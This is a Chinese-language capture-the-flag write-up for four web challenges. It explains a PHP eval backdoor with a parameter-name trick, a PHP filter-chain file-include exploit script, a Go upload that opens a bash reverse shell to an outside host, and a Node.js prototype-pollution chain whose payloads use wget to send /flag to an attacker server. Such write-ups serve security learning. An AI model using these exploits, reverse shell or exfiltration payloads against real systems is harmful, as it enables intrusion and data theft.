MyDoor 使用php伪协议读取index.php的代码
1 php://filter/read=convert.base64-encode/resource=index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php error_reporting (0 );if (isset ($_GET ['N_S.S' ])) { eval ($_GET ['N_S.S' ]); } if (!isset ($_GET ['file' ])) { header ('Location:/index.php?file=' ); } else { $file = $_GET ['file' ]; if (!preg_match ('/\.\.|la|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is' , $file )) { include $file ; } else { die ('error.' ); } }
发现可以执行命令,因为php的特性如果执行给N_S.S传参,那么N_S.S在后端会被规范成N_S_S
所以使用N[S.S来使后端得到的参数为N_S.S(具体原因自己去搜吧)
我原本以为flag在主机里,找了半天结果在phpinfo …..
MyPage 感觉部分源码和MyDoor是一样的,只是我尝试用伪协议读取index.php的时候没回显,所以猜测应该就是用了include来读取文件
看到include,我就想起了zedd的一篇文章
文章:
直接使用exp,来执行命令,得到flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 import requestsurl = "http://43.143.7.127:28742/index.php?file=" file_to_use = "/etc/passwd" command = "cat flag.php" base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4" conversions = { 'R' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2' , 'B' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2' , 'C' : 'convert.iconv.UTF8.CSISO2022KR' , '8' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2' , '9' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB' , 'f' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213' , 's' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61' , 'z' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS' , 'U' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932' , 'P' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213' , 'V' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5' , '0' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2' , 'Y' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2' , 'W' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2' , 'd' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2' , 'D' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2' , '7' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2' , '4' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2' } filters = "convert.iconv.UTF8.CSISO2022KR|" filters += "convert.base64-encode|" filters += "convert.iconv.UTF8.UTF7|" for c in base64_payload[::-1 ]: filters += conversions[c] + "|" filters += "convert.base64-decode|" filters += "convert.base64-encode|" filters += "convert.iconv.UTF8.UTF7|" filters += "convert.base64-decode" final_payload = f"php://filter/{filters} /resource={file_to_use} " r = requests.get(url, params={ "0" : command, "action" : "include" , "file" : final_payload }) print (r.text)
Upload_gogoggo 一个没有过滤的文件上传,且在上传后会执行go
加上文件名.
之前的字符串的命令,并且是对你上传的文件进行执行的,(猜的)
eg:
上传文件名为run.go
,那么就会执行go run run.go
,这样会执行go里的代码
所以上传一个反弹shell的go文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 package mainimport ( "fmt" "log" "os/exec" ) func main () { cmd := exec.Command("/bin/bash" , "-c" , "bash -i &> /dev/tcp/vps/ip 0>&1" ) out, err := cmd.CombinedOutput() if err != nil { fmt.Printf("combined out:\n%s\n" , string (out)) log.Fatalf("cmd.Run() failed with %s\n" , err) } fmt.Printf("combined out:\n%s\n" , string (out)) }
然后文件名为run.go,上传就可以得到shell
谢队把flag藏到/home了,挨打!
ez_node 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 const express = require ("express" );const path = require ("path" );const fs = require ("fs" );const multer = require ("multer" );const PORT = process.env .port || 3000 const app = express ();global = "global" app.listen (PORT , () => { console .log (`listen at ${PORT} ` ); }); function merge (target, source ) { for (let key in source) { if (key in source && key in target) { merge (target[key], source[key]) } else { target[key] = source[key] } } } let objMulter = multer ({ dest : "./upload" });app.use (objMulter.any ()); app.use (express.static ("./public" )); app.post ("/upload" , (req, res ) => { try { let oldName = req.files [0 ].path ; let newName = req.files [0 ].path + path.parse (req.files [0 ].originalname ).ext ; fs.renameSync (oldName, newName); res.send ({ err : 0 , url : "./upload/" + req.files [0 ].filename + path.parse (req.files [0 ].originalname ).ext }); } catch (error){ res.send (require ('./err.js' ).getRandomErr ()) } }); app.post ('/pollution' , require ('body-parser' ).json (), (req, res ) => { let data = {}; try { merge (data, req.body ); res.send ('Register successfully!tql' ) require ('./err.js' ).getRandomErr () } catch (error){ res.send (require ('./err.js' ).getRandomErr ()) } })
只有一个merge函数里可以进行原型链污染,而且从很多方面都可以看出来这个是原型链污染
具体污染的地方是https://github.com/nodejs/node/blob/c200106305f4367ba9ad8987af5139979c6cc40c/lib/internal/modules/cjs/loader.js#L454
可以污染他来加载任意包从而执行任意命令
根据出题人的本意是让我们上传一个包,然后去加载那个包,但是我是直接用的别人的exp,而且题目环境也包含exp里需要的文件,所以直接打就行
给/pollution路由传数据
1 2 3 4 5 6 7 8 9 10 11 12 { "__proto__" : { "data" : { "name" : "./err.js" , "exports" : "./preinstall.js" } , "path" : "/opt/yarn-v1.22.19" , "npm_config_global" : 1 , "npm_execpath" : "--eval=require('child_process').execFile('sh',['-c','wget\thttp://vpsip:vpsport/`cat /flag`'])" } , "a" : null }
然后就可以得到flag
至于这个exp是在哪找到的,就是题目给了hint:ez_node: https://github.com/nodejs/node/blob/c200106305f4367ba9ad8987af5139979c6cc40c/lib/internal/modules/cjs/loader.js#L454
在github上直接搜就可以找到 :>
更加精细的文章可以看
补充 在看了Node.js require() RCE复现 这篇文章以及本地调试后,大概知道是啥原理了
主要是在https://github.com/nodejs/node/blob/c200106305f4367ba9ad8987af5139979c6cc40c/lib/internal/modules/cjs/loader.js#L454 里的
1 const { data : pkg, path : pkgPath } = readPackageScope (parentPath) || {}
进入readPackageScope()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 function readPackageScope (checkPath ) { const rootSeparatorIndex = StringPrototypeIndexOf (checkPath, sep); let separatorIndex; do { separatorIndex = StringPrototypeLastIndexOf (checkPath, sep); checkPath = StringPrototypeSlice (checkPath, 0 , separatorIndex); if (StringPrototypeEndsWith (checkPath, sep + 'node_modules' )) return false ; const pjson = readPackage (checkPath + sep); if (pjson) return { data : pjson, path : checkPath, }; } while (separatorIndex > rootSeparatorIndex); return false ; }
在进入readPackage()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 function readPackage (requestPath ) { const jsonPath = path.resolve (requestPath, 'package.json' ); const existing = packageJsonCache.get (jsonPath); if (existing !== undefined ) return existing; const result = packageJsonReader.read (jsonPath); const json = result.containsKeys === false ? '{}' : result.string ; if (json === undefined ) { packageJsonCache.set (jsonPath, false ); return false ; } try { const parsed = JSON Parse(json); const filtered = { name : parsed.name , main : parsed.main , exports : parsed.exports , imports : parsed.imports , type : parsed.type }; packageJsonCache.set (jsonPath, filtered); return filtered; } catch (e) { e.path = jsonPath; e.message = 'Error parsing ' + jsonPath + ': ' + e.message ; throw e; } }
他会对当前require请求文件所在的目录中区找package.json文件并进行json解析,如果没有就返回fasle
所以
const { data: pkg, path: pkgPath } = readPackageScope(parentPath) || {}
对pkg赋值的肯定是后面的{}
的值
而这里就可以对pkg和pkgPath的值进行污染
总结来说,在require非原生库 的过程中,最终会去调用PkgPath
和pkg.exports
拼接起来的字符串所指定的文件
所以payload
1 2 3 4 5 6 7 8 { "__proto__" : { "data" : { "name" : "./err.js" , "exports" : "./<需要调用文件的文件名>" } , "path" : "<需要调用的文件的路径>" , }
如果要使用题目中提供的文件上传功能的话,就是这样做的
众所周知,require得到的是module.exports的内容,所以先上传一个js文件
好像是没有curl这个命令,所以这里要用wget进行oob
1 2 3 4 5 6 obj={ getRandomErr :() => { require ('child_process' ).execSync ('wget http://vpsport:vpsport/`cat /flag`' ) } } module .exports =obj
得到上传后的文件名
payload
1 2 3 4 5 6 7 8 9 { "__proto__" : { "data" : { "name" : "./err.js" , "exports" : "./cc3ddcac43eb509d0d8df23e0a6fc124.js" } , "path" : "/app/upload" } }
给/pollution路由传数据,然后就可以在vps上得到flag